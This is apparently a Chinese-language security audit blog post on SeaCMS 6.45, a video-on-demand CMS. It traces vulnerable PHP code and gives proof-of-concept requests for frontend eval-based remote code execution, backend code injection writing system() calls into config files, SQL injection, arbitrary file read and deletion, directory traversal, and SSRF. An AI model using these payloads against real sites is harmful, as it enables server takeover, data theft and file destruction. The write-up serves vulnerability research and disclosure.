PHP代码审计实践——SeaCMS V6.45
前言:
SeaCMS 是一套专为不同需求的站长而设计的视频点播系统,现在仍在维护。本次代码审计选择的版本是 SeaCMS 6.45。这不马上要过年了嘛,提前祝大家新年快乐,恭(红)喜(包)发(给)财(我)啊(快)!
SeaCMS:
-
全局分析:
seacms/include/common.php
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
程序禁止GPC变量为系统的全局变量或cfg_配置变量,通过GET、POST、COOKIE方式传进来的参数都会调用_RunMagicQuotes方法使用addslashes函数进行过滤处理,并且将过滤之后的值存入以键值对的键为变量名的变量中,这里发现没有对$_SERVER
进行过滤,存在头部注入的可能性。
如果上传文件,会包含uploadsafe.inc.php文件:
文件上传全局处理:seacms/include/uploadsafe.inc.php
//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml";
$keyarr = array('name','type','tmp_name','size');
foreach($_FILES as $_key=>$_value)
{
if(!empty(${$_key.'_name'}) && (m_eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !m_ereg("\.",${$_key.'_name'})) )
{
exit('Upload filetype not allow !');
}
}
通过黑名单方式禁用了很多文件后缀。
-
前台RCE:
漏洞代码分析:/include\main.class.php
function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
$labelRule2="{elseif";
$labelRule3="{else}";
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
$strThen=$iar[2][$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
在parseIf
方法中,3118行,eval执行的语句中存在变量$strIf
,若该变量用户可控,则有可能造成代码执行。接着进行逆向跟踪,先只判断是否用户可控。取$iar
数组中的值赋值给$strIf
,接着经过parseStrIf
方法处理。3105行,$iar
数组跟$content
相关,接下来追踪一下parseIf()
,寻找调用这个方法的文件,找到search.php:
在212行,在函数echoSearchPage()中,调用了parseIf()方法
$content=$mainClassObj->parseIf($content);
继续追踪:
if($cfg_iscache){
if(chkFileCache($cacheName)){
$content = getFileCache($cacheName);
}else{
$content = parseSearchPart($searchTemplatePath);
setFileCache($cacheName,$content);
}
$cfg_iscache
默认为1,$content
来自一个缓存文件,为搜索结果展示给用户的 HTML 页面,随后通过$page
、$searchword
、$TotalResult
、$order
等参数对$concent
进行内容的替换:
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
而search.php第一行包含了include/common.php文件,且进行了XSS过滤:
foreach($_GET as $k=>$v)
{
$$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
$schwhere.= "&$k=".urlencode($$k);
}
我们可以传入$page
、$searchword
、$TotalResult
、$order
等参数,但$page
和$TotalResult
只能为数值,只有$order
是完全可控的。$order
替换的内容是{searchpage:ordername},全局搜索发现只有cascade.html文件有相关内容。
当$searchtype==5
时,$content
的内容来自于cascade.html:
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
$content = parseSearchPart($searchTemplatePath);
接着需要尝试去构造特定的$order
来实现代码注入,对parseIf方法进一步分析:
if (strpos($content,'{if:')=== false){
return $content;
}
$content
必须包含{if,匹配$content
的正则为:/{if:(.*?)}(.*?){end if}/is
,最终匹配结果为$iar
数组,其中$iar[0]
包含第一次匹配得到的所有匹配(包含子组),$iar[1]
和$iar[2]
为两个匹配子组
$strIf
来自$iar[1]
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf);
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
尝试构造$order
,使得@eval("if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}")
POC:search.php?searchtype=5&searchword=book4yi&order=}{end if}{if:1)phpinfo();if(1}{end if}
-
后台RCE:
-
触发点一
漏洞代码位于:/seacms/admin/admin_ping.php
if($action=="set")
{
$weburl= $_POST['weburl'];
$token = $_POST['token'];
$open=fopen("../data/admin/ping.php","w" );
$str='<?php ';
$str.='$weburl = "';
$str.="$weburl";
$str.='"; ';
$str.='$token = "';
$str.="$token";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
}
当POST传入weburl参数时,会调用之前说的过滤函数,使用addslashes函数过滤weburl的值,并存入$weburl
,也就是说被过滤的是$weburl
变量。但是这里直接对POST传入的weburl的值存入$weburl
变量,相当于对$weburl
变量进行二次赋值,重新赋值的$weburl
变量没有经过任何过滤,直接写入到ping.php中,造成RCE
POST /admin/admin_ping.php?action=set
weburl=test";system($_GET['cmd']);//&token=123456
- 触发点二
漏洞代码位于:/seacms/admin/admin_config.php
$configfile = sea_DATA.'/config.cache.inc.php';
if($dopost=="save")
{
foreach($_POST as $k=>$v)
{
if(m_ereg("^edit___",$k))
{
if(is_array($$k))
$v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(implode(',',$$k)))),500);
else
$v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(${$k}))),500);
}
else
{
continue;
}
$k = m_ereg_replace("^edit___","",$k);
$configstr .="\${$k} = '$v';\r\n";
$fp = fopen($configfile,'w');
flock($fp,3);
fwrite($fp,"<"."?php\r\n");
fwrite($fp,$configstr);
fwrite($fp,"?".">");
fclose($fp);
}
当$dopost=="save"
,首先会判断POST传入的参数是否以edit___
开头,若不是则跳过当前循环的剩余语句,这里将单引号和反斜线进行了转义处理,最后将从带有 POST 方法的表单发送的信息写入到config.cache.inc.php文件中,这里虽然对单引号进行了转义处理,但并没有对参数本身进行过滤,所以可以构造如下数据包:
POST /seacms/admin/admin_config.php?dopost=save HTTP/1.1
edit___book4yi;system('ipconfig');//=1
查看文件是否成功写入恶意代码:
后面只需要访问包含该文件的页面即可触发RCE:
-
后台SQL注入:
-
触发点一
漏洞代码位于:/admin/admin_ajax.php
elseif($action=="checkrepeat")
{
$v_name=iconv('utf-8','utf-8',$_GET["v_name"]);
$row=$dsql->GetOne("select count(*) as dd from sea_data where v_name='$v_name'");
$num=$row['dd'];
if($num==0){echo "ok";}else{echo "err";}
}
此处包含了config.php
,config.php
又包含了/include/common.php
,会对通过GET、POST、COOKIE方式传进来的参数都会调用_RunMagicQuotes方法使用addslashes函数进行转义处理,这里同样是存在二次赋值的问题,最后导致了SQL注入的问题。
POC:admin/admin_ajax.php?action=checkrepeat&v_name=4444444444'+and+extractvalue(1,concat(0x7e,(select+@@version),0x7e))%23
-
后台任意文件读取:
漏洞代码分析:seacms/admin/admin_collect.php
if($action=="addrule")
{
if($step==2){
if(empty($itemname))
{
ShowMsg("请填写采集名称!","-1");
exit();
}
include(sea_ADMIN.'/templets/admin_collect_ruleadd2.htm');
seacms/admin/templets/admin_collect_ruleadd2.htm
<textarea id="htmlcode" style="width:99%;height:200px;font-family:Fixedsys" wrap="off" readonly=readonly><?php
$content = !empty($showcode)?@file_get_contents($siteurl):'';
$content = $coding=='gb2312'?gbutf8($content):$content;
if(!$content) echo "读取URL出错";
echo $showcode;
echo htmlspecialchars($content);
?></textarea>
若!empty($showcode)
则该htm文件通过file_get_contents()读取$siteurl
的内容,并将其输出。由于是htm文件,需要找到包含该文件的地方,全局搜索包含admin_collect_ruleadd2.htm的文件,发现admin_collect_news.php和admin_collect.php都包含了该文件
POC:/admin/admin_collect.php?action=addrule&step=2&id=0&itemname=test123&siteurl=file://c:/windows/win.ini&showcode=1
-
目录穿越:
在访问模板管理处,看到了这样的页面:
闻到了目录穿越的味道,漏洞代码分析:seacms/admin/admin_template.php
else
{
if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
if(substr($path,0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$flist=getFolderList($path);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
?>
同样只限制了前11位字符,未作其他限制,辣么就可以浏览操作系统中存在哪些文件,然后配合任意文件读取/删除造杀伤:
-
后台任意文件读取/任意文件修改:
漏洞代码分析:seacms/admin/admin_template.php
$dirTemplate="../templets";
if($action=='edit')
{
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
$content=loadFile($filedir);
# /include/common.func.php
function loadFile($filePath)
{
if(!file_exists($filePath)){
echo "模版文件读取失败!";
exit();
}
$fp = @fopen($filePath,'r');
$sourceString = @fread($fp,filesize($filePath));
@fclose($fp);
return $sourceString;
}
判断截取了$filedir
的前十一个字符是否为../templets
,通过getfileextend函数获取后缀名,对其文件后缀进行了白名单限制,最后通过loadFile函数读取文件,但只能读取html、js、txt、css等文件
POC:/admin/admin_template.php?action=edit&filedir=../templets/default/html/block_header.html
-
后台任意文件删除:
-
触发点一
漏洞代码分析:seacms/admin/admin_database.php
elseif($action=="redat")
{
$bkdir = sea_DATA.'/'.$cfg_backup_dir;
$bakfilesTmp = $bakfiles;
$bakfiles = explode(',',$bakfiles);
$structfile = "seacms_tables_struct_".str_replace("seacms_data_","",$bakfiles[0]);
if($redStruct!='' && file_exists("$bkdir/$structfile"))
{
if($delfile==1)
{
@unlink("$bkdir/$structfile");
}
}
这里并没有对 .
和 /
进行过滤,可以通过目录穿越删除任意文件:
POC:
/admin/admin_database.php?action=redat&bakfiles=../../test_delete.php,123.txt&delfile=1
- 触发点二:
POC:/admin/admin_template.php?action=del&filedir=../templets/../888.txt
elseif($action=='del')
{
if($filedir == '')
{
ShowMsg('未指定要删除的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit;
}
unlink($filedir);
-
服务端请求伪造(SSRF)+ URL重定向:
漏洞代码分析:/admin/admin_reslib.php
$backurl=isset($backurl)?$backurl:"admin_reslib.php";
$var_url=$url;
elseif($action=="select")
{
if(empty($ids))
{
ShowMsg("请选择采集数据","-1");
exit();
}
$a_ids = implode(',',$ids);
if($rid==32)
{
$weburl=$var_url."?s=plus-api-xml-cms-max-vodids-".$a_ids;
}
else
{
$weburl=$var_url.(strpos($var_url,'?')!==false?"&":"?")."ac=videolist&ressite=".$ressite."&ids=".$a_ids;
}
intoDatabase($weburl,"select");
}
继续追踪intoDatabase函数:
function intoDatabase($url,$gtype)
{
global $dsql,$col,$cfg_gatherset,$backurl,$gatherWaitTime,$ressite,$var_url,$action,$isref,$pg;
$content=cget($url,$isref);
function cget($url,$isref){
if($isref=='1'){return getRemoteContent($url);}else{return get($url);}
}
function getRemoteContent($url,$conall=null)
{
$purl = parse_url($url);
$host = $purl['host'];
$path = $purl['path'];
$port = empty($purl['port']) ? 80 : $purl['port'];
if (isset($purl['query']))
$path.='?'.$purl['query'];
$fp = fsockopen($host, $port, $errno, $errstr, 10);
if (!$fp) {
return false;
} else {
$out = "GET $path HTTP/1.1\r\n";
$out.= "Accept: */*\r\n";
$out.= "Accept-Language: zh-cn\r\n";
$out.= "Referer: http://$host\r\n";
$out.= "User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)\r\n";
$out.= "Host: $host\r\n";
$out.= "Connection: Close\r\n";
$out.="\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$con.= fgets($fp, 1024);
}
fclose($fp);
}
if ($conall==null)
{
$tmp = explode("\r\n\r\n",$con,2);
$con = $tmp[1];
}
return $con;
}
POC:/admin/admin_reslib.php?action=select&ids=1,2&url=http://wyy5qnivs98y3um3frsoh0jkhbn1bq.burpcollaborator.net&backurl=https://www.baidu.com
-
服务端请求伪造(SSRF):
漏洞代码分析:/admin/admin_webgather.php
else if($action=='gather'){
else if(strpos($url,"youku.com")>0)
{
else{
$pageStr = get($url);
preg_match_all("/\<meta name=\"title\" content=\"(.*?)\"\>/",$pageStr,$title);
preg_match_all("/var videoId = '(\d{3,}?)'/",$pageStr,$guid);
$result = $result.$title[1][0].'$'.$guid[1][0].'$youku';
echo $result;
}
}
# /include/common.func.php
function get($url)
{
return @file_get_contents($url);
}
POC:/admin/admin_webgather.php?action=gather&url=http://192.168.107.129:8000/?id=youku.com